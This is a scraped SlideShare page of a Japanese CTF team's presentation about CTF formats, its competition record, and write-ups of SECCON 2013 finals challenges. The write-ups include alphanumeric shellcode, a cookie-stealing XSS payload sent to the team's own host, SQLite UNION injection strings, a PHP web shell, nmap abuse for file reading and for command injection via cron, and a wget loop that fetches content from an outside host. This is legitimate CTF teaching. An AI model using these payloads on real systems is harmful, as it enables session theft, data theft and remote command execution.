![stage1
●
filterによる制限あり
–
isalnum(shellcode[i]) == trueでなければならない
–
shellcode中でA-Za-z0-9しか使ってはいけない](https://image.slidesharecdn.com/it-140305063152-phpapp01/75/ctf-103-2048.jpg?cb=1665699265)
![仕組み
●
使えた命令 (0xYYはisalnum(0xYY) == true)
–
–
–
–
–
–
–
–
push 0xYYYYYYYY
push (register)
pop eax, ecx, edx(他のレジスタはダメ)
xor eax, 0xYYYYYYYY(他のレジスタはダメ)
xor [register], dh
xor [register], esi
inc (register)
dec(register)](https://image.slidesharecdn.com/it-140305063152-phpapp01/75/ctf-126-2048.jpg?cb=1665699265)
![仕組み
●
eax, ecx, edxにはある程度任意の値を入れられる
–
–
●
push 0xYYYYYYYY; pop eax, ecx, edxを使う
基本的にはこの3つだけでどうにかするしかない
alnumとならない値0xZZを使うには
–
xor eax, 0xYYYYYYYYを2回行う
●
–
0 ～ 127はこれによって作ることが出来る
xor [register], dhを使う(dec edxで0xffffffffを作る)
●
●
push eax; push esp; pop eax; xor [eax], dh; pop eax
0 ～ 127と0xffのxorは128 ～ 255となる](https://image.slidesharecdn.com/it-140305063152-phpapp01/75/ctf-131-2048.jpg?cb=1665699265)
![仕組み
●
方針
–
shellcodeをメモリ上に展開するshellcodeを書く
–
xor [eax], esiでメモリ上に任意の値を与えることは可能](https://image.slidesharecdn.com/it-140305063152-phpapp01/75/ctf-134-2048.jpg?cb=1665699265)
![仕組み
●
方針
–
shellcodeをメモリ上に展開するshellcodeを書く
–
xor [eax], esiでメモリ上に任意の値を与えることは可能
–
しかし面倒くさい
●
eaxのaddrのインクリメントとesiの値の更新が必要](https://image.slidesharecdn.com/it-140305063152-phpapp01/75/ctf-135-2048.jpg?cb=1665699265)
![仕組み
●
方針
–
shellcodeをメモリ上に展開するshellcodeを書く
–
xor [eax], esiでメモリ上に任意の値を与えることは可能
–
しかし面倒くさい
●
–
eaxのaddrのインクリメントとesiの値の更新が必要
他の方法はないか？](https://image.slidesharecdn.com/it-140305063152-phpapp01/75/ctf-136-2048.jpg?cb=1665699265)
![仕組み
●
push系の命令がかなり使えるから活用したい
–
スタック上に実行を遷移出来れば嬉しい？
–
ret命令(0xC3)だけxor [eax], esiで書き込めばいけそう](https://image.slidesharecdn.com/it-140305063152-phpapp01/75/ctf-139-2048.jpg?cb=1665699265)
![Korin - 第1問
● 送信元のメールアドレスを以下のように変えてみる
● “><script>location.href=”http://192.168.5.8/”+document.
cookie</script>@gmail.com
● 「http://192.168.5.8/[ユーザーのcookie]」にリダイレクトす
るJavaScript
○ 自分のPCに192.168.5.8のアドレスが割り振られている
ため、自分のPCにアクセスが来る](https://image.slidesharecdn.com/it-140305063152-phpapp01/75/ctf-153-2048.jpg?cb=1665699265)
![Korin - 第3問
<?php
system($_GET[‘cmd’]);
をアップロードして実行することで、問題サーバー上でコマンド
を実行することができるようになる](https://image.slidesharecdn.com/it-140305063152-phpapp01/75/ctf-179-2048.jpg?cb=1665699265)
![Korin - FLAG
● 60秒に1回、自チームのアドレスにhttpアクセスして、FLAGを
書くようにした
● 以下のコードをcronから動かす
while [ : ]; do
wget -q -O - "http://192.168.5.8/" >> /home/stage6/public_html/index.html;
sleep 60;
done](https://image.slidesharecdn.com/it-140305063152-phpapp01/75/ctf-223-2048.jpg?cb=1665699265)
CTFはとんでもないものを 盗んでいきました。私の時間です…
•60 likes•140,472 views
Report
Share
Download to read offline
More Related Content
What's hot
What's hot(20)
Viewers also liked
Viewers also liked(20)
More from Hiromu Yakura
More from Hiromu Yakura(19)
Recently uploaded
Recently uploaded(7)
CTFはとんでもないものを 盗んでいきました。私の時間です…
- 2. CTFとは
- 10. Jeopardy
- 20. King of the Hill Attack-Defenseの派生形式 問題サーバーを巡って攻防する
- 21. King of the Hill FLAG FLAG 問題サーバー 問題サーバー FLAG チームA FLAG 問題サーバー FLAG チームB 解答サーバー
- 22. King of the Hill FLAG FLAG 問題サーバー 問題サーバー FLAG 問題サーバー 問題サーバーの脆弱性を 使ってFLAGを盗み出す FLAG チームA FLAG チームB 解答サーバー
- 23. King of the Hill FLAG 問題サーバー 問題サーバー 盗みとったFLAGを FLAG 問題サーバー 解答サーバーに送ると得点 FLAG FLAG チームA FLAG チームB 解答サーバー
- 24. King of the Hill FLAG FLAG 問題サーバー 問題サーバー FLAG 問題サーバー その脆弱性を使って 自チームのFLAGを書き込むと さらに得点に FLAG チームA チームB 解答サーバー
- 25. King of the Hill FLAG FLAG FLAG 相手がFLAGを書き込むのを 問題サーバー 問題サーバー 問題サーバー 阻止するのも重要 FLAG チームA チームB 解答サーバー
- 26. King of the Hill 問題サーバーを攻撃してFLAGを盗む その脆弱性を利用して自チームの FLAGを書き込む 長時間書き込み続けるほど高得点に
- 35. EpsilonDeltaについて
- 43. スポンサー
- 44. これまでの大会参加 CSAW CTF Qualification Round 2012 2012年9月 初めてのオンラインCTF参加 636チーム中174位
- 45. これまでの大会参加 DEFCON CTF Qualifier 2013 世界最大のCTF DEFCONの予選 初めて集まって宿泊した大会 414チーム中79位
- 46. これまでの大会参加 CSAW CTF Qualification Round 2013 1383チーム中39位 高校生部門では世界1位 アメリカの大学生なら本戦に進めた
- 47. これまでの大会参加 No cON Name CTF 2013 予選13位 上位12チームが本戦参加権獲得 辞退チームが居て参加できることに
- 48. これまでの大会参加 No cON Name CTF 2013 2013年11月＠バルセロナ 初めての海外大会 カンパで渡航費を集めて参加
- 49. これまでの大会参加 No cON Name CTF 2013 King of the Hill形式 結果は6位 攻略したサーバーの保持ができず
- 50. これまでの大会参加 Codegate CTF Preliminary 2014 世界で1番賞金の高い大会 283チーム中39位 U-20のJuniorの方で予選通過
- 53. これまでの国内大会 SECCON 2013 社会人も対象に 全国9予選 + オンライン予選
- 54. これまでの国内大会 SECCON 2013 横浜大会 個人戦 4位 / 10位
- 56. これまでの国内大会 SECCON 2013 本戦 3/1-2 東京電機大学で開催 King of the Hill形式
- 58. これまでの国内大会
- 59. これまでの国内大会
- 61. 問題のWriteup
- 62. SECCON 2013 Finals 2tenkaku Writeup
- 63. 話すこと
- 64. 話すこと
- 65. 話すこと
- 69. Writeupとは?
- 75. 競技構成
- 76. 競技構成 ● 競技時間は2日間 – 1日目: 13:00 ～ 20:00 – 2日目: 09:00 ～ 14:00
- 77. 競技構成 ● 競技時間は2日間 – – ● 1日目: 13:00 ～ 20:00 2日目: 09:00 ～ 14:00 King on the hill形式(前述)
- 78. 競技構成 ● 競技時間は2日間 – 1日目: 13:00 ～ 20:00 – 2日目: 09:00 ～ 14:00 ● King on the hill形式(前述) ● 6つのサーバー – 独立した6つのサーバーに別々の問題が存在 – その内3つは1日目の終了30分ほど前に公開
- 79. 担当した問題
- 84. 2tenkaku
- 85. 問題概要
- 88. ソースコード 実際に見てみる
- 89. 要点
- 91. 機械語
- 93. 機械語 ● 実際にマシンのCPUが実行する命令群のこと – – ● 見た目はただのバイト列でしか無い 人間なら噛み砕いたアセンブラを読み書きする 実際の攻撃でも“攻撃用”の命令群を作って利用する
- 97. 課題
- 100. stage0 ● filterによる制限なし – 実行さえ出来ればどんなshellcodeを送ってもいい – execveでcatを呼び出すshellcodeを書くのが早そう ● execve("cat", {"cat", "keyword.txt", NULL}, NULL)
- 101. stage0 実際に解いてみる
- 102. stage1
- 103. stage1 ● filterによる制限あり – isalnum(shellcode[i]) == trueでなければならない – shellcode中でA-Za-z0-9しか使ってはいけない
- 104. Alpha numericのみで？？？
- 109. Alpha numericのみで？？？ ● そんなの出来るのか – – ● 出来る(かなり面倒くさいけど) “普通は”ツールを使う ツール？ – Metasploitというペネトレーションテストツール – サブセットにshellcode用の様々なエンコーダが付属 – msfencode -e x86/alpha_mixed BufferRegister=EAX
- 110. しかし...
- 113. 痛恨のミス ● Metasploitをまともに使える人間が居なかった – 一応存在は知ってたけども... – オプションの設定ミス – ついでに、バグもあるらしい – 完全に準備不足....
- 114. 解けない....
- 115. いや、待て
- 117. よし、自分でencodeを書こう
- 118. 手でshellcodeを書く
- 123. 出来上がったコード
- 125. 仕組み
- 126. 仕組み ● 使えた命令 (0xYYはisalnum(0xYY) == true) – – – – – – – – push 0xYYYYYYYY push (register) pop eax, ecx, edx(他のレジスタはダメ) xor eax, 0xYYYYYYYY(他のレジスタはダメ) xor [register], dh xor [register], esi inc (register) dec(register)
- 128. 仕組み ● eax, ecx, edxにはある程度任意の値を入れられる – push 0xYYYYYYYY; pop eax, ecx, edxを使う – 基本的にはこの3つだけでどうにかするしかない
- 129. 仕組み ● eax, ecx, edxにはある程度任意の値を入れられる – – ● push 0xYYYYYYYY; pop eax, ecx, edxを使う 基本的にはこの3つだけでどうにかするしかない alnumとならない値0xZZを使うには
- 130. 仕組み ● eax, ecx, edxにはある程度任意の値を入れられる – – ● push 0xYYYYYYYY; pop eax, ecx, edxを使う 基本的にはこの3つだけでどうにかするしかない alnumとならない値0xZZを使うには – xor eax, 0xYYYYYYYYを2回行う ● 0 ～ 127はこれによって作ることが出来る
- 131. 仕組み ● eax, ecx, edxにはある程度任意の値を入れられる – – ● push 0xYYYYYYYY; pop eax, ecx, edxを使う 基本的にはこの3つだけでどうにかするしかない alnumとならない値0xZZを使うには – xor eax, 0xYYYYYYYYを2回行う ● – 0 ～ 127はこれによって作ることが出来る xor [register], dhを使う(dec edxで0xffffffffを作る) ● ● push eax; push esp; pop eax; xor [eax], dh; pop eax 0 ～ 127と0xffのxorは128 ～ 255となる
- 132. 仕組み ● 方針
- 141. stage1 実際に解いてみる
- 142. まとめ
- 144. まとめ ● 準備不足は命取り – – ● 準備次第で解く時間は1時間にも10時間にもなる 使えるものは全部使う、使えるようになる 問題の取捨選択 – 解法が見えていない問題をいつまで考え続けるか？ – ムダに時間を使うと他の問題にも支障をきたす – King on the hillはスピード勝負
- 146. 今回紹介する問題 ● Korin ○ http://korin.tower/ ○ 読みは「かりんとう」らしい・・・？
- 147. Korin - 第1問 ● http://korin.tower/ ● 管理者とのコンタクトフォームがある
- 148. Korin - 第1問 ● さらに、管理者専用のページが用意されている ● アクセスすると「You are not admin!!」と怒られる...
- 149. Korin - 第1問 ● さらに、管理者専用のページが用意されている ● アクセスすると「You are not admin!!」と怒られる... ● なんとかして管理者にならなければ・・・
- 150. Korin - 第1問 ● 送信するメールを工夫してみる
- 151. Korin - 第1問 ● 送信するメールを工夫してみる ● 管理者がメールを見る際にJavaScriptが動けば管理者の Cookieを取得できると推測 ○ いわゆるXSS
- 152. Korin - 第1問 ● 送信元のメールアドレスを以下のように変えてみる ● “><script>location.href=”http://192.168.5.8/”+document. cookie</script>@gmail.com
- 153. Korin - 第1問 ● 送信元のメールアドレスを以下のように変えてみる ● “><script>location.href=”http://192.168.5.8/”+document. cookie</script>@gmail.com ● 「http://192.168.5.8/[ユーザーのcookie]」にリダイレクトす るJavaScript ○ 自分のPCに192.168.5.8のアドレスが割り振られている ため、自分のPCにアクセスが来る
- 154. Korin - 第1問 ● 192.168.5.8で管理者アクセスを監視
- 155. Korin - 第1問 ● 192.168.5.8で管理者アクセスを監視 ● nc -l -p 80
- 156. Korin - 第1問 ● 192.168.5.8で管理者アクセスを監視 ● nc -l -p 80 ○ GET /CGISESSID=XXXXXXX... HTTP/1.1 ○ 管理者のCookieが取得できた！
- 157. Korin - 第1問 ● 192.168.5.8で管理者アクセスを監視 ● nc -l -p 80 ○ GET /CGISESSID=XXXXXXX... HTTP/1.1 ○ 管理者のCookieが取得できた！ ● 取得したCookieを利用して、管理者専用ページにアクセス
- 158. Korin - 第1問 ● You are admin level2! ● 第1問突破！
- 159. Korin - 第2問 ● 管理者に送信された Messageが読めるように なる
- 160. Korin - 第2問 ● メッセージのURLは ● http://korin.tower/?action=view&id=111111111111111 ● のようになっている
- 161. Korin - 第2問 ● 勘でidを「’ or ‘1」にしてみる
- 162. Korin - 第2問 ● 勘でidを「’ or ‘1」にしてみる ○ メッセージが表示される
- 163. Korin - 第2問 ● 勘でidを「’ or ‘1」にしてみる ○ メッセージが表示される ○ SQL Injectionだとわかりますね
- 164. Korin - 第2問 ● ‘ or union select 1,1,1 -- とすると欲しいデータが表示でき る！
- 165. Korin - 第2問 ● DBMSは何？
- 166. Korin - 第2問 ● DBMSは何？ ● MySQL？ ○ ‘ or union select @@version,1,1 -○ →Error
- 167. Korin - 第2問 ● DBMSは何？ ● MySQL？ ○ ‘ or union select @@version,1,1 -○ →Error ● Postgres SQL？ ○ ‘ or union select version(),1,1 -○ →Error
- 168. Korin - 第2問 ● DBMSは何？ ● MySQL？ ○ ‘ or union select @@version,1,1 -○ →Error ● Postgres SQL？ ○ ‘ or union select version(),1,1 -○ →Error ● SQLite？ ○ ‘ or union select sqlite_version(),1,1 -○ →ビンゴ！
- 169. Korin - 第2問 ● SQLiteではsqlite_masterテーブルでテーブル作成時の SQLが参照できる ○ ‘ or union all select group_concat(sql),1,1 from sqlite_master --
- 170. Korin - 第2問 ● SQLiteではsqlite_masterテーブルでテーブル作成時の SQLが参照できる ○ ‘ or union all select group_concat(sql),1,1 from sqlite_master -CREATE TABLE contact (id, name, mail, honbun), CREATE TABLE nextLVpassword (str), CREATE TABLE zdummy (dummy)
- 171. Korin - 第2問 ● ‘ or union all select str,1,1 from nextLVpassword --
- 172. Korin - 第2問 ● ‘ or union all select str,1,1 from nextLVpassword -○ パスワードが手に入る！ ○ パスワード入力欄に入力して次の問題へ kinoko!!
- 173. Korin - 第3問 ● 2問目をクリアするとファイルアップローダが現れる
- 174. Korin - 第3問 ● 試しにtest.phpをアップロードしてみる
- 175. Korin - 第3問 ● 試しにtest.phpをアップロードしてみる ○ 「filename does not contain .jpg」 ○ jpgファイルしかアップロードできない？
- 176. Korin - 第3問 ● 試しにtest.phpをアップロードしてみる ○ 「filename does not contain .jpg」 ○ jpgファイルしかアップロードできない？ ○ ファイル名にjpgが含まれていればいい
- 177. Korin - 第3問 ● 試しにtest.phpをアップロードしてみる ○ 「filename does not contain .jpg」 ○ jpgファイルしかアップロードできない？ ○ ファイル名にjpgが含まれていればいい ○ test.jpg.phpというファイル名でアップロード
- 178. Korin - 第3問 ● 試しにtest.phpをアップロードしてみる ○ 「filename does not contain .jpg」 ○ jpgファイルしかアップロードできない？ ○ ファイル名にjpgが含まれていればいい ○ test.jpg.phpというファイル名でアップロード ○ http://korin.tower/uploaded/test.jpg.php で実行可能
- 180. Korin - 第3問 ● サーバーに侵入後、調べていくと/home/stage4 以下に 「MyPasswordIs”stage4PassWD”」が見つかる ● これで3問目を突破！
- 181. Korin - 第4問 ● 先ほど作ったphpファイルを通じて/etc/passwdを見ると、 stage4ユーザーがlogin可能であることがわかる
- 182. Korin - 第4問 ● 先ほど作ったphpファイルを通じて/etc/passwdを見ると、 stage4ユーザーがlogin可能であることがわかる ● stage4:stage4PassWDでsshログインしてみる
- 183. Korin - 第4問 ● 先ほど作ったphpファイルを通じて/etc/passwdを見ると、 stage4ユーザーがlogin可能であることがわかる ● stage4:stage4PassWDでsshログインしてみる ○ 入れた！
- 184. Korin - 第4問 ● /homeディレクトリ以下にはstage3~6のユーザーディレクト リが存在している
- 185. Korin - 第4問 ● /homeディレクトリ以下にはstage3~6のユーザーディレクト リが存在している ● stage4でログインしているから次はstage5?
- 186. Korin - 第4問 ● /homeディレクトリ以下にはstage3~6のユーザーディレクト リが存在している ● stage4でログインしているから次はstage5? ● ls -al /stage5
- 187. Korin - 第4問 ● /homeディレクトリ以下にはstage3~6のユーザーディレクト リが存在している ● stage4でログインしているから次はstage5? ● ls -al /stage5 ○ -r-------- stage5 root FLAG ○ -r-x--x--x stage5 root nmap
- 188. Korin - 第4問 ● /homeディレクトリ以下にはstage3~6のユーザーディレクト リが存在している ● stage4でログインしているから次はstage5? ● ls -al /stage5 ○ -r-------- stage5 root FLAG ○ -r-x--x--x stage5 root nmap ○ nmapを実行してFLAGを読み取る？
- 189. Korin - 第4問 ● sudo -u stage5 nmap -vvvvv -iL /home/stage5/FLAG
- 190. Korin - 第4問 ● sudo -u stage5 nmap -vvvvv -iL /home/stage5/FLAG ○ FLAGをnmapする対象のアドレスが書かれたリストとし て読み込ませる
- 191. Korin - 第4問 ● sudo -u stage5 nmap -vvvvv -iL /home/stage5/FLAG ○ FLAGをnmapする対象のアドレスが書かれたリストとし て読み込ませる ○ nmapはFLAGの内容をアドレスと認識してアクセスする が、失敗してエラーが吐かれる
- 192. Korin - 第4問 ● sudo -u stage5 nmap -vvvvv -iL /home/stage5/FLAG ○ FLAGをnmapする対象のアドレスが書かれたリストとし て読み込ませる ○ nmapはFLAGの内容をアドレスと認識してアクセスする が、失敗してエラーが吐かれる ○ エラーの内容にFLAGの内容が出力されている！
- 193. Korin - 第4問 ● sudo -u stage5 nmap -vvvvv -iL /home/stage5/FLAG ○ FLAGをnmapする対象のアドレスが書かれたリストとし て読み込ませる ○ nmapはFLAGの内容をアドレスと認識してアクセスする が、失敗してエラーが吐かれる ○ エラーの内容にFLAGの内容が出力されている！ ○ 第4問目クリア！
- 194. Korin - FLAG ● http://korin.tower/~stage6/ にチームのFLAGを定期的に 書き込みつづけることで、点数が得られる
- 195. Korin - FLAG ● http://korin.tower/~stage6/ にチームのFLAGを定期的に 書き込みつづけることで、点数が得られる ● /home/stage6/public_html/index.html というファイルが存 在していることから、このファイルに書き込めばよいとわかる
- 196. Korin - FLAG ● http://korin.tower/~stage6/ にチームのFLAGを定期的に 書き込みつづけることで、点数が得られる ● /home/stage6/public_html/index.html というファイルが存 在していることから、このファイルに書き込めばよいとわかる ○ -rw-r--r-- stage6 apache index.html ○ stage6ユーザーでないと書き込めない
- 197. Korin - FLAG ● 色々探した結果、/etc/crontab に怪しい記述が... ○ * * * * * stage6 /var/tmp/5to6 ■ 1分ごとにstage6の権限で/var/tmp/5to6を実行して いる
- 198. Korin - FLAG ● 色々探した結果、/etc/crontab に怪しい記述が... ○ * * * * * stage6 /var/tmp/5to6 ■ 1分ごとにstage6の権限で/var/tmp/5to6を実行して いる ● /var/5to6 はstage6ユーザーで実行されているのでは？ ○ -rw-r-xr-- stage5 apache 5to6 ■ stage5ユーザーでなら書き込める！！
- 199. Korin - FLAG ● 再びnmapを利用して書き込んでみる ○ sudo -u stage5 nmap -oN /var/tmp/5to6 -p 1 test
- 200. Korin - FLAG ● 再びnmapを利用して書き込んでみる ○ sudo -u stage5 nmap -oN /var/tmp/5to6 -p 1 test ● /var/tmp/5to6 # Nmap 6.25 scan initiated Sat Mar 1 17:54:51 2014 as: nmap -oN hoge -p 1 test # Nmap done at Sat Mar 1 17:54:57 2014 -- 1 IP address (0 hosts up) scanned in 6.08 seconds
- 201. Korin - FLAG ● 再びnmapを利用して書き込んでみる ○ sudo -u stage5 nmap -oN /var/tmp/5to6 -p 1 test ● /var/tmp/5to6 # Nmap 6.25 scan initiated Sat Mar 1 17:54:51 2014 as: nmap -oN hoge -p 1 test # Nmap done at Sat Mar 1 17:54:57 2014 -- 1 IP address (0 hosts up) scanned in 6.08 seconds test に改行を入れればシェルコマンドが書き込めそう？
- 202. Korin - FLAG ● 実行させたいコマンドを書いてみる ○ sudo -u stage5 nmap -oN /var/tmp/5to6 -p 1 “ echo ‘hoge’ >> /home/stage6/public_html/index.html”
- 203. Korin - FLAG ● 実行させたいコマンドを書いてみる ○ sudo -u stage5 nmap -oN /var/tmp/5to6 -p 1 “ echo ‘hoge’ >> /home/stage6/public_html/index.html” # Nmap 6.25 scan initiated Sat Mar 1 17:54:51 2014 as: nmap -oN hoge -p 1 echo ’hoge’ >> /home/stage6/public_html/index.html # Nmap done at Sat Mar 1 17:54:57 2014 -- 1 IP address (0 hosts up) scanned in 6.08 seconds
- 204. Korin - FLAG ● 1分後、cronによって5to6が実行される ○ /home/stage6/public_html/index.html に書き込まれた！ ○ チームのFLAGを書き込み続ければ得点が加算される
- 205. Korin - FLAG ● 1分後、cronによって5to6が実行される ○ /home/stage6/public_html/index.html に書き込まれた！ ○ チームのFLAGを書き込み続ければ得点が加算される しかしその10分後、他のチームに動きが・・・
- 206. Korin - FLAG ● 自分達の他に /var/tmp/5to6 にコマンドを書き込むユーザー が・・・ ○ どうやら他のチームに追いつかれたらしい
- 207. Korin - FLAG ● 自分達の他に /var/tmp/5to6 にコマンドを書き込むユーザー が・・・ ○ どうやら他のチームに追いつかれたらしい ● せっかく /var/tmp/5to6 にコマンドを書き込んでも、他のチーム に上書きされてしまい、FLAGを書き込めない
- 208. Korin - FLAG ● 自分達の他に /var/tmp/5to6 にコマンドを書き込むユーザー が・・・ ○ どうやら他のチームに追いつかれたらしい ● せっかく /var/tmp/5to6 にコマンドを書き込んでも、他のチーム に上書きされてしまい、FLAGを書き込めない ● しかも複数のチームがFLAGを書き込んでいる場合、その得点 は山分けとなる ○ 最大20点なので、2チームが書き込むと各チーム10点、3 チームが書き込むと7点・・・
- 209. Korin - FLAG ● 課題1: ○ 他のチームにFLAGを書き込ませてはいけない ● 課題2: ○ 自チームのFLAGを書き込み続けないといけない
- 210. Korin - FLAG ● 課題1: ○ 他のチームにFLAGを書き込ませてはいけない ● 課題2: ○ 自チームのFLAGを書き込み続けないといけない
- 211. Korin - FLAG ● なんとしても他のチームにFLAGを書き込ませてはいけない！
- 212. Korin - FLAG ● なんとしても他のチームにFLAGを書き込ませてはいけない！ ● どうする？
- 213. Korin - FLAG ● なんとしても他のチームにFLAGを書き込ませてはいけない！ ● どうする？ ○ /var/tmp/5to6 に書き込み続ける
- 214. Korin - FLAG ● なんとしても他のチームにFLAGを書き込ませてはいけない！ ● どうする？ ○ /var/tmp/5to6 に書き込み続ける ■ 他のチームも同様のことをしてくる ■ 同時に書き込むとロックして相討ち
- 215. Korin - FLAG ● なんとしても他のチームにFLAGを書き込ませてはいけない！ ● どうする？ ○ /var/tmp/5to6 に書き込み続ける ■ 他のチームも同様のことをしてくる ■ 同時に書き込むとロックして相討ち ○ 他のチームのssh接続をkillする
- 216. Korin - FLAG ● なんとしても他のチームにFLAGを書き込ませてはいけない！ ● どうする？ ○ /var/tmp/5to6 に書き込み続ける ■ 他のチームも同様のことをしてくる ■ 同時に書き込むとロックして相討ち ○ 他のチームのssh接続をkillする ■ これだ！
- 217. Korin - FLAG ● なんとしても他のチームにFLAGを書き込ませてはいけない！ ● どうする？ ○ /var/tmp/5to6 に書き込み続ける ■ 他のチームも同様のことをしてくる ■ 同時に書き込むとロックして相討ち ○ 他のチームのssh接続をkillする ■ これだ！
- 218. Korin - FLAG ● 課題1: ○ 他のチームにFLAGを書き込ませてはいけない ● 課題2: ○ 自チームのFLAGを書き込み続けないといけない
- 219. Korin - FLAG ● 自分達のFLAGを書き込み続けないといけない
- 220. Korin - FLAG ● 自分達のFLAGを書き込み続けないといけない ○ 5分に1回変動するFLAGを書き込まないといけないので自 動化したい
- 221. Korin - FLAG ● 自分達のFLAGを書き込み続けないといけない ○ 5分に1回変動するFLAGを書き込まないといけないので自 動化したい ○ 他のチームからssh接続切断されるようになると、 /var/tmp/5to6 に書き込めなくなる ■ 実際に切断された
- 222. Korin - FLAG ● 自分達のFLAGを書き込み続けないといけない ○ 5分に1回変動するFLAGを書き込まないといけないので自 動化したい ○ 他のチームからssh接続切断されるようになると、 /var/tmp/5to6 に書き込めなくなる ■ 実際に切断された ● whileループで動かせば？
- 223. Korin - FLAG ● 60秒に1回、自チームのアドレスにhttpアクセスして、FLAGを 書くようにした ● 以下のコードをcronから動かす while [ : ]; do wget -q -O - "http://192.168.5.8/" >> /home/stage6/public_html/index.html; sleep 60; done
- 224. Korin - FLAG こちらはhttpアクセスされた際に、現在の自チームのFLAGを 表示するようにしておけばよい ● 競技サーバーからhttpアクセスして、FLAGを書き込んでくれる ので、こちらからsshする必要がなくなる ●
- 225. Korin - FLAG ● 課題1: ○ 他のチームにFLAGを書き込ませてはいけない ● 課題2: ○ 自チームのFLAGを書き込み続けないといけない どちらもクリアすることで、FLAGポイントを独占することができ た！
- 226. Korin - まとめ ● 問題1~3は典型的な脆弱性を利用したものでした ○ XSS, SQL Injection, File upload
- 227. Korin - まとめ ● 問題1~3は典型的な脆弱性を利用したもの ○ XSS, SQL Injection, File upload ● FLAGは、時間が限られている中でどのようにして他のチー ムを妨害するかということが重要だった ○ あと自動化も大事！
- 228. 最後に
- 232. CTFを始めるには ksnctf: http://ksnctf.sweetduet.info/ いつでも解ける問題掲載サイト DEFCON CTF Qualifier 2014 2014/05/17 - 05/19
- 233. ご清聴ありがとうございました